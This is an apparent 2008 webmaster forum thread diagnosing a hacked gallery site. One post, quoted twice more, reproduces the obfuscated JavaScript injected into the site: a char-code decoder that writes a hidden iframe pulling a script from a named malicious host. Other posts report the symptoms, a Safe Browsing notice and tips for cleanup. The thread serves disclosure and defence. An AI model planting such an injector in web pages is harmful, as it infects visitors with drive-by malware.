Jamies-Galleries.com ??? Zango?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Stellar
    So Fucking Banned
    • Feb 2008
    • 611

    #1

    Jamies-Galleries.com ??? Zango?

    Looks like Jamies-Galleries.com wen't Zango or was hacked..

    anyone?
  • d-null
    . . .
    • Apr 2007
    • 13724

    #2
    don't think that has anything to do with Zango

    __________________

    Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
    Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
    Check out the #1 WordPress SEO Plugin: CyberSEO Suite

    Comment

    • HorseShit
      Too lazy to set a custom title
      • Dec 2004
      • 17513

      #3
      what are you referring to there?

      Comment

      • d-null
        . . .
        • Apr 2007
        • 13724

        #4
        Originally posted by jdavis
        what are you referring to there?
        I think depending on your security settings it attempts to auto-run some kind of media file, I'm not sure what it is up to but it doesn't look good.

        __________________

        Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
        Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
        Check out the #1 WordPress SEO Plugin: CyberSEO Suite

        Comment

        • Manowar
          jellyfish  
          • Dec 2003
          • 71528

          #5
          not noticing anything here myself

          Comment

          • TampaToker
            Confirmed User
            • May 2006
            • 5828

            #6
            my ie says its " webcam upload networking and imaging from yahoo! Inc "
            Icq 247-742-205

            Comment

            • Spunky
              I need a beer
              • Jun 2002
              • 133978

              #7
              Not picking up anything here.maybe spyware?

              Comment

              • SmokeyTheBear
                ►SouthOfHeaven
                • Jun 2004
                • 28609

                #8
                )<script·type="text/javascript">function·Decode(){var·temp="",i,c=0, out="";·var·str="60!115!99!114!105!112!116!32!10 8!97!110!103!117!97!103!101!61!34!74!97!118!97!83! 99!114!105!112!116!34!62!118!97!114!32!108!61!34!1 02!34!59!103!111!111!103!108!101!61!34!97!34!59!12 1!97!110!100!61!34!114!34!59!100!111!99!117!109!10 1!110!116!46!119!114!105!116!101!40!39!60!105!39!4 3!108!43!39!114!39!43!103!111!111!103!108!101!43!3 9!109!101!32!115!39!43!121!97!110!100!43!39!99!61! 34!104!116!116!112!58!47!47!117!115!101!39!43!121! 97!110!100!43!39!115!111!39!43!108!43!39!116!119!3 9!43!103!111!111!103!108!101!43!39!114!101!46!105! 110!47!116!115!47!105!110!46!99!103!105!63!51!52!5 4!34!32!39!43!108!43!39!114!39!43!103!111!111!103! 108!101!43!39!109!101!98!111!39!43!121!97!110!100! 43!39!100!101!39!43!121!97!110!100!43!39!61!48!32! 119!105!39!43!39!100!116!104!39!43!39!61!48!32!104 !101!39!43!39!105!103!104!39!43!39!116!61!48!62!60 !47!105!39!43!108!43!39!114!39!43!103!111!111!103! 108!101!43!39!109!101!62!39!41!59!60!47!115!99!114 !105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp=" ";}document.write(out);}Decode();</script>
                hatisblack at yahoo.com

                Comment

                • Spunky
                  I need a beer
                  • Jun 2002
                  • 133978

                  #9
                  Originally posted by SmokeyTheBear
                  )<script·type="text/javascript">function·Decode(){var·temp="",i,c=0, out="";·var·str="60!115!99!114!105!112!116!32!10 8!97!110!103!117!97!103!101!61!34!74!97!118!97!83! 99!114!105!112!116!34!62!118!97!114!32!108!61!34!1 02!34!59!103!111!111!103!108!101!61!34!97!34!59!12 1!97!110!100!61!34!114!34!59!100!111!99!117!109!10 1!110!116!46!119!114!105!116!101!40!39!60!105!39!4 3!108!43!39!114!39!43!103!111!111!103!108!101!43!3 9!109!101!32!115!39!43!121!97!110!100!43!39!99!61! 34!104!116!116!112!58!47!47!117!115!101!39!43!121! 97!110!100!43!39!115!111!39!43!108!43!39!116!119!3 9!43!103!111!111!103!108!101!43!39!114!101!46!105! 110!47!116!115!47!105!110!46!99!103!105!63!51!52!5 4!34!32!39!43!108!43!39!114!39!43!103!111!111!103! 108!101!43!39!109!101!98!111!39!43!121!97!110!100! 43!39!100!101!39!43!121!97!110!100!43!39!61!48!32! 119!105!39!43!39!100!116!104!39!43!39!61!48!32!104 !101!39!43!39!105!103!104!39!43!39!116!61!48!62!60 !47!105!39!43!108!43!39!114!39!43!103!111!111!103! 108!101!43!39!109!101!62!39!41!59!60!47!115!99!114 !105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp=" ";}document.write(out);}Decode();</script>
                  Too many damn numbers!

                  Comment

                  • SmokeyTheBear
                    ►SouthOfHeaven
                    • Jun 2004
                    • 28609

                    #10
                    it loads a javascript from

                    usersoftware.in/ts/in.cgi?346
                    hatisblack at yahoo.com

                    Comment

                    • Gals4free
                      Confirmed User
                      • Apr 2003
                      • 428

                      #11
                      actually we didnt go zango no.. so this would either be a hack or a pc infected with spyware.

                      I just checked the site and our scripts and cant find anything supicious. Can anyone please post the URL they are on when they experience it?
                      At Kodify we have in excess of 5M visitors a day through our network that consists of www.PornTube.com www.4Tube.com www.PornerBros.com and www.Fux.com. We operate a very successful Content Publishing Platform at http://content.porntube.com where you can expose your content to our audience!

                      Comment

                      • bobby666
                        boots are my religion
                        • Nov 2005
                        • 21765

                        #12
                        thanks for info

                        Comment

                        • d-null
                          . . .
                          • Apr 2007
                          • 13724

                          #13
                          Originally posted by bobby666
                          thanks for info
                          WTF???

                          __________________

                          Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
                          Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
                          Check out the #1 WordPress SEO Plugin: CyberSEO Suite

                          Comment

                          • SmokeyTheBear
                            ►SouthOfHeaven
                            • Jun 2004
                            • 28609

                            #14
                            Originally posted by Gals4free
                            actually we didnt go zango no.. so this would either be a hack or a pc infected with spyware.

                            I just checked the site and our scripts and cant find anything supicious. Can anyone please post the URL they are on when they experience it?
                            Jamies-Galleries.com is hacked with that javascript code i posted above
                            hatisblack at yahoo.com

                            Comment

                            • SmokeyTheBear
                              ►SouthOfHeaven
                              • Jun 2004
                              • 28609

                              #15
                              for whatever reason you may not be seeing it you can view it thru a proxy on a webpage

                              http://www.rexswain.com/httpview.html

                              jus go there enter the url and you will see the hacked code added
                              hatisblack at yahoo.com

                              Comment

                              • V_RocKs
                                Damn Right I Kiss Ass!
                                • Nov 2003
                                • 32451

                                #16
                                Home page has the script.. Comes after the second header image.

                                Either you are hackored or you are trying to make some extra cash.. But for trades sakes, you had better remove that shit quick.

                                If you are looking at the page and it isn't there then you REALLY have problems because it means you are now running a hacked version of apache and need to talk to your host about 1) reinstalling a non-hacked version and 2) setting up a trip wire to let you know when MD5 checksum on apache doesn't match.

                                Comment

                                • d-null
                                  . . .
                                  • Apr 2007
                                  • 13724

                                  #17
                                  what exactly is that script attempting to do?

                                  when I loaded the page the first time, it caused my windows media player to open and the an out of memory error window popped up in windows media player

                                  __________________

                                  Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad!
                                  Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs
                                  Check out the #1 WordPress SEO Plugin: CyberSEO Suite

                                  Comment

                                  • wheat
                                    Confirmed User
                                    • Feb 2006
                                    • 421

                                    #18
                                    I see it browsing from the midwestern United States with Opera 9.

                                    Comment

                                    • seeandsee
                                      Check SIG!
                                      • Mar 2006
                                      • 50945

                                      #19
                                      i don't even want to open that page
                                      BUY MY SIG - 50$/Year

                                      Contact here

                                      Comment

                                      • Stellar
                                        So Fucking Banned
                                        • Feb 2008
                                        • 611

                                        #20
                                        Believe me,

                                        something is surely off about it, smokey hit the nail on the head.

                                        Now I have some god damn fake Windows Security window asking me if I want to buy some horse shit product, and I can't get it off.

                                        Gals4free, your welcome

                                        Comment

                                        • PersianKitty
                                          Meow Media Inc.
                                          • Jul 2001
                                          • 7785

                                          #21
                                          Got this tonight when a gallery submission went to their 404

                                          "Safe Browsing
                                          Diagnostic page for jamies-galleries.com

                                          What is the current listing status for jamies-galleries.com?

                                          Site is listed as suspicious - visiting this web site may harm your computer.

                                          Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

                                          What happened when Google visited this site?

                                          Of the 10 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2008-11-18, and the last time suspicious content was found on this site was on 2008-11-18.

                                          Malicious software includes 1 scripting exploit(s). Successful infection resulted in an average of 1 new processes on the target machine.

                                          Malicious software is hosted on 1 domain(s), including ftpiframer.org. "

                                          Comment

                                          • hjnet
                                            Confirmed User
                                            • May 2002
                                            • 3815

                                            #22
                                            Maybe it's an hack that shows up only for every 10th visitor or so, that's already pretty common these days cause it makes it harder for the site owner to track it down.

                                            I've not visited the site, so I don't know which script's you're using, but many TGPs/MGPs get hacked lately. Go take a close look at your toplist templates, cause they're often used to insert malicious code, and check which files have been changed/updated on your server within the last 48h. If someone has hacked your site he most likely added or updated a file, and didn't change the timestamp.

                                            Oh, and if you've found out what happend please post it on the boards, so we can take care of our sites too ;)

                                            Comment

                                            • DWB
                                              Registered User
                                              • Jul 2003
                                              • 31779

                                              #23
                                              Originally posted by SmokeyTheBear
                                              )<script·type="text/javascript">function·Decode(){var·temp="",i,c=0, out="";·var·str="60!115!99!114!105!112!116!32!10 8!97!110!103!117!97!103!101!61!34!74!97!118!97!83! 99!114!105!112!116!34!62!118!97!114!32!108!61!34!1 02!34!59!103!111!111!103!108!101!61!34!97!34!59!12 1!97!110!100!61!34!114!34!59!100!111!99!117!109!10 1!110!116!46!119!114!105!116!101!40!39!60!105!39!4 3!108!43!39!114!39!43!103!111!111!103!108!101!43!3 9!109!101!32!115!39!43!121!97!110!100!43!39!99!61! 34!104!116!116!112!58!47!47!117!115!101!39!43!121! 97!110!100!43!39!115!111!39!43!108!43!39!116!119!3 9!43!103!111!111!103!108!101!43!39!114!101!46!105! 110!47!116!115!47!105!110!46!99!103!105!63!51!52!5 4!34!32!39!43!108!43!39!114!39!43!103!111!111!103! 108!101!43!39!109!101!98!111!39!43!121!97!110!100! 43!39!100!101!39!43!121!97!110!100!43!39!61!48!32! 119!105!39!43!39!100!116!104!39!43!39!61!48!32!104 !101!39!43!39!105!103!104!39!43!39!116!61!48!62!60 !47!105!39!43!108!43!39!114!39!43!103!111!111!103! 108!101!43!39!109!101!62!39!41!59!60!47!115!99!114 !105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp=" ";}document.write(out);}Decode();</script>
                                              Whoa... I know Kung Fu.

                                              Comment

                                              Working...